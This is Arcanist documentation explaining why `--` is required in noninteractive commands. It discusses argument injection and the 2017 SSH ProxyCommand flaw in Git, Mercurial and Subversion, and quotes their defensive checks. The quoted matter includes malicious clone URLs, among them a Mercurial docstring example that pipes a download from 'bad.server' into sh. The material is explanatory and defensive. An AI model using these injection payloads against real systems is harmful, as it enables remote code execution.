What does Arcanist require?
----
After early 2020, Arcanist requires `--` to be provided in all argument lists if run noninteractively (that is, if it determines that `stdin` is not a TTY). For example, if you run `arc diff` from a noninteractive context, the command will fail and tell you to provide a terminator: you should run `arc diff --` instead.
The error message looks like this:
```
$ echo | arc help
USAGE "arc" is being run noninteractively, but the argument list is missing "--" to indicate end of flags.
USAGE When running noninteractively, you MUST provide "--" to all commands (even if they take no arguments).
USAGE Learn More: <https://phurl.io/u/noninteractive>
USAGE EXCEPTION Missing required "--" in argument list.
```
The link in the error message points to this document.
Quick Reference
----
The `--` argument separates flag arguments (flag arguments look like `--flag`) from non-flag arguments, and prevents non-flag arguments that look like flags from being parsed as flags. Most linux commands support the use of `--` in this way.
For example, `--draft` is a valid branch name in Mercurial and also a valid flag to `arc diff`, so the command `arc diff --draft` might mean "send the default set of changes for review, in draft mode" or might mean "send the set of changes since the '--draft' branch for review, in normal mode". The use of `--` disambiguates these two cases:
```
arc diff --draft # Ambiguous: is "--draft" a command-line flag or a branch name?
arc diff --draft -- # Unambiguous: "--draft" is a flag.
arc diff -- --draft # Unambiguous: "--draft" is a branch name.
```
To add `--` to an Arcanist command:
- Add `--` after all flags but before all non-flag arguments.
- If the command has no non-flag arguments, add `--` at the end of the command.
| Unsafe/Ambiguous Command | Unambiguous Command |
|---|---|
| `arc browse file.txt` | `arc browse -- file.txt` |
| `arc diff` | `arc diff --` |
| `arc liberate --clean` | `arc liberate --clean --` |
| `arc lint --output xml example.js` | `arc lint --output xml -- example.js` |
What problem does this prevent?
----
(NOTE) If you omit `--` when calling `arc` from a script, your script usually won't work correctly for all inputs.
This goal of this requirement is to make it more difficult to write fragile scripts on top of Arcanist toolsets which may break, possibly unsafely, on unusual inputs.
For example, if you write a script like this to `arc weld` all files in the current directory together (this is just a silly example):
```counterexample
#!/bin/bash
find -type f . | xargs arc weld
```
...it will fail, perhaps unpredictably and perhaps unsafely, if there is a file in the current directory named `--abracadabra`, or any other name beginning with `--`, because the command will expand like this:
```
arc weld --abracadabra README.txt
```
...and `--abracadabra` will be interpreted as a flag which does not exist.
A //more// robust (but still fragile) way to write this script is (adding `--` after `weld`):
```counterexample
#!/bin/bash
find -type f . | xargs arc weld --
```
The addition of `--` marks the end of flags to `arc weld`, so filenames beginning with `--` will no longer be interpreted specially. Instead, the command will expand like this:
```
arc weld -- --abracadabra README.txt
```
...and `--abracadabra` will be interpreted correctly as a file path, not a flag.
In some cases, attackers can exploit this problem by //creating// a file named `--delete-everything` that invokes dangerous behavior from the command being executed.
Note that the second script is still fragile. Three cases where it will fail: it will fail when it encounters files with spaces in them (you can fix this with `find -print0` and `xargs -0`); it will fail if the length of the argument list exceeds the maximum command length (you may be able to work around this with `xargs -n`); and it will not propagate error codes in `find` through the pipe (see T6996). It is generally very difficult to write code in `bash` which behaves correctly for all inputs. See also @{article:Command Line Exit Codes}.
Why is this important?
----
(NOTE) It is very easy to forget or misuse `--`. Many programs (including `git`, `hg`, and Phabricator) parse some argument inputs incorrectly or have parsed inputs incorrectly in the past. Sometimes, getting it wrong has major security implications.
In 2017, Git, Mercurial, and SVN were all vulnerable to an issue where attackers who could choose a hostname to try to clone from could select a hostname in the form `ssh://-oProxyCommand=curl .../` and make Git, Mercurial, and SVN download and execute arbitrary code as a side effect of running a command like `clone` or `update`. See T12961 for more detailed discussion. The root cause of this issue was improper handling of SSH argument termination in each VCS, which internally expanded this hostname into a command line like this:
```
ssh -flag1 -flag2 -oProxyCommand=...
```
The host name was the interpreted as a command flag. The command they should have executed was (note addition of `--`):
```
ssh -flag1 -flag2 -- -oProxyCommand=...
```
...which would have interpreted `-oProxyCommand=...` as a hostname and failed properly.
Phabricator was also vulnerable to this issue, even though it passed `--` to `ssh` correctly: for example, Mercurial can be configured so that `hg update` runs `git clone` on a submodule and passes it an arbitrary attacker-controlled URI.
//None// of the vulnerable programs fixed this issue by actually adding `--`, at least in all cases (Subversion did update an unsafe default value). One issue is that this would break SSH on Windows in some setups, where `ssh` is sometimes a binary which does not support `--` and can not ever be passed `-oProxyCommand=...` safely as a hostname. Broadly, just adding `--` would also have broken a lot of existing users and configurations, as all three systems rely on somewhat fragile configuration or environmental flags to control the behavior of the underlying `ssh` command. So the decision is a defensible one, but it means that Phabricator, Git, Mercurial, and Subversion now all have code to test if a hostname begins with `-` and reject it. If you write code on top of Git, Mercurial or Subversion that might ever run with a binary from before 2017, you must know that this set of magical hostnames are unsafe or your code is likely vulnerable. If there is ever another similar issue, the whole stack of programs will need to update their arbitrary, hard-coded definitions of "dangerous hostnames", and all versions from before the update will be vulnerable.
Here is example output (and the underlying code snippets driving the behavior) of `git`, `hg`, and `svn` all testing if you're trying to clone from `ssh://-o...` and failing with a special-cased error message that was added just to deal with this vulnerability, because none of these programs can safely pass a hostname to `ssh` without ambiguity.
```
$ git clone ssh://-oProxyCommand=curl/
Cloning into '-oProxyCommand=curl'...
fatal: strange hostname '-oProxyCommand=curl' blocked
```
```name=git/connect.c
if (looks_like_command_line_option(host))
die(_("strange hostname '%s' blocked"), host);
```
```
$ hg clone ssh://-oProxyCommand=curl/
abort: potentially unsafe url: 'ssh://-oProxyCommand=curl/'
```
```name=hg/util.py
def checksafessh(path):
"""check if a path / url is a potentially unsafe ssh exploit (SEC)
This is a sanity check for ssh urls. ssh will parse the first item as
an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
Let's prevent these potentially exploited urls entirely and warn the
user.
Raises an error.Abort when the url is unsafe.
"""
path = urlreq.unquote(path)
if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
raise error.Abort(_('potentially unsafe url: %r') %
```
```
$ svn checkout svn+ssh://-oProxyCommand=curl/
svn: E170013: Unable to connect to a repository at URL 'svn+ssh://-oproxycommand=curl'
svn: E125002: Invalid host '-oproxycommand=curl'
```
```name=subversion/client.c
/* A simple whitelist to ensure the following are valid:
...
* with an extra restriction that a leading '-' is invalid.
*/
static svn_boolean_t
is_valid_hostinfo(const char *hostinfo)
```
In this case, mishandling of `--` had particularly severe consequences. Although many other cases do not have severe consequences, mishandling of `--` is very common, so it's not a surprise that you can occasionally find an exploitable needle in a haystack of broken behavior. For example:
- Can you write a command which uses `echo` to echo only the string `-e`? Start by trying `echo -e` and `echo -- -e`.
- In Mercurial, prior to 2017, if `--config` or `--debugger` appeared in //any// position in the argument list (even after a `--` argument termination marker), they were unsafe. See T13012. Phabricator may run against older versions of Mercurial, so it still has code which rejects `hg` commands if they contain a flag matching these patterns.
- Many `git` commands don't support `--` at all, especially in older versions of Git, making it impossible to pass all inputs to them unambiguously.
- Although the semantics of `git rev-parse` are unusual, I can't figure out how to invoke `git rev-parse` using a flag added in a newer version of Git and get the expected result (immediate failure with an "unknown flag" error).
- Git LFS failed if run in a working directory with a file named `master` until [[ https://github.com/git-lfs/git-lfs/pull/1096/ | I fixed it ]].
Phabricator has gotten this wrong too, even though I'm //especially// aware of it. For example, D18769 adds a previously omitted `--` argument to `DiffusionSearchQueryConduitAPIMethod.php`.
Why make this change?
----
(NOTE) There's no perfect solution here. This change seems like the best balance of concerns.
This state of the world is ridiculous: programs should be able to accept all possible inputs safely and unambiguously. This is a thing computers are supposed to be able to do. Multiple major VCS programs shouldn't have a command injection vulnerability if an attacker provides a funny-looking hostname. Software should basically work reliably.
However, the default behavior of command-line argument parsing means that it's very easy to write a program which appears to be correct and works correctly for a wide range of inputs, but fail (sometimes disastrously) for a small range of slightly unusual inputs. It's so easy to get wrong that `git` gets it wrong, and `echo` doesn't even imagine a world where `-e` should be a valid thing to want to echo.
I like this framing of API design quality from Rusty Russel (2008) as a tool for thinking about concerns here:
- [[ https://ozlabs.org/~rusty/index.cgi/tech/2008-04-01.html | 10 Levels of Negative API Design ]]
- [[ https://ozlabs.org/~rusty/index.cgi/tech/2008-03-30.html | 10 Levels of Positive API Design ]]
These short articles talk about twenty levels of API design:
```
-10. It's impossible to get right.
-9. The compiler/linker won't let you get it right.
-8. The compiler will warn if you get it right.
-7. The obvious use is wrong.
-6. The name tells you how not to use it.
-5. Do it right and it will sometimes break at runtime.
-4. Follow common convention and you'll get it wrong.
-3. Read the documentation and you'll get it wrong.
-2. Read the implementation and you'll get it wrong.
-1. Read the mailing list thread and you'll get it wrong.
+1. Read the correct mailing list thread and you'll get it right.
+2. Read the implementation and you'll get it right.
+3. Read the documentation and you'll get it right.
+4. Follow common convention and you'll get it right.
+5. Do it right or it will always break at runtime.
+6. The name tells you how to use it.
+7. The obvious use is (probably) the correct one.
+8. The compiler will warn if you get it wrong.
+9. The compiler/linker won't let you get it wrong.
+10. It's impossible to get wrong.
```
The exact levels aren't particularly important: for example, the 8/9 levels depend on having a compiler/linker/static analysis step. But we can use this general framework and think about APIs as existing somewhere on a continuum between **-10: Impossible to get right** and **+10: Impossible to get wrong**. I think this is particularly important when trying to design or assess a //safe// API (an API which makes it difficult to implement a dangerous program).
Linux command-line argument parsing is (almost always) possible to get right so it isn't a `-10`, but the obvious use (omitting `--`) is wrong -- at least when commands are used non-interactively as an API, which leaves us in the realm of `-7`: the obvious use is wrong. Viewed through this lens, it isn't surprising that an API where //the obvious use is wrong// leads to many instances of misuse across so many programs.
(Windows argument parsing with `cmd.exe` is frequently impossible to get right, and is actually a `-10`.)
Arcanist's new behavior of throwing when `--` is omitted raises this API to the realm of `+5`: do it right or it will always break at runtime. My claim is that general schema of API levels is a reasonable model for API safety (even if we might debate about what the individual levels mean) and that this jump from `-7` to `+5` represents an enormous improvement in safety.
I don't see a plausible way to do better than this without rewriting the shell. I also haven't imposed this requirement on interactive use. Interactive use is less generally less perilous (the input is //usually// coming from an actual human and //usually// trusted) and no one is realistically going to type `arc diff --` with their actual human fingers in the name of safety, even when I gesture emphatically at how many API design levels they're jumping.
Errata
---
> What about interactive use where STDIN is piped from another program, like `echo ... | arc call-conduit` or similar?
I don't know how to distinguish between these cases and genuine noninteractive cases, so they get caught by the "--" rule.
I'm open to changing this if anyone has a way to unambiguously detect these cases.
> What about spelling correction? Isn't that dangerous, too?
As implemented by Arcanist, I believe spelling correction is generally very conservative and not dangerous, but it //is// philosophically inconsistent. Alongside this change, Arcanist no longer corrects command or flag spelling when run non-interactively.
> This wasn't required on my computer, but was required on a different computer. Both computers have the same version of Arcanist. Why?
Detection of a non-interactive environment relies on the PHP `posix` extension. If the extension isn't available, we fall back to assuming the environment is interactive.
I'm open to changing this if anyone has a way to more reliably/portably detect the presence of TTYs from Arcanist at runtime.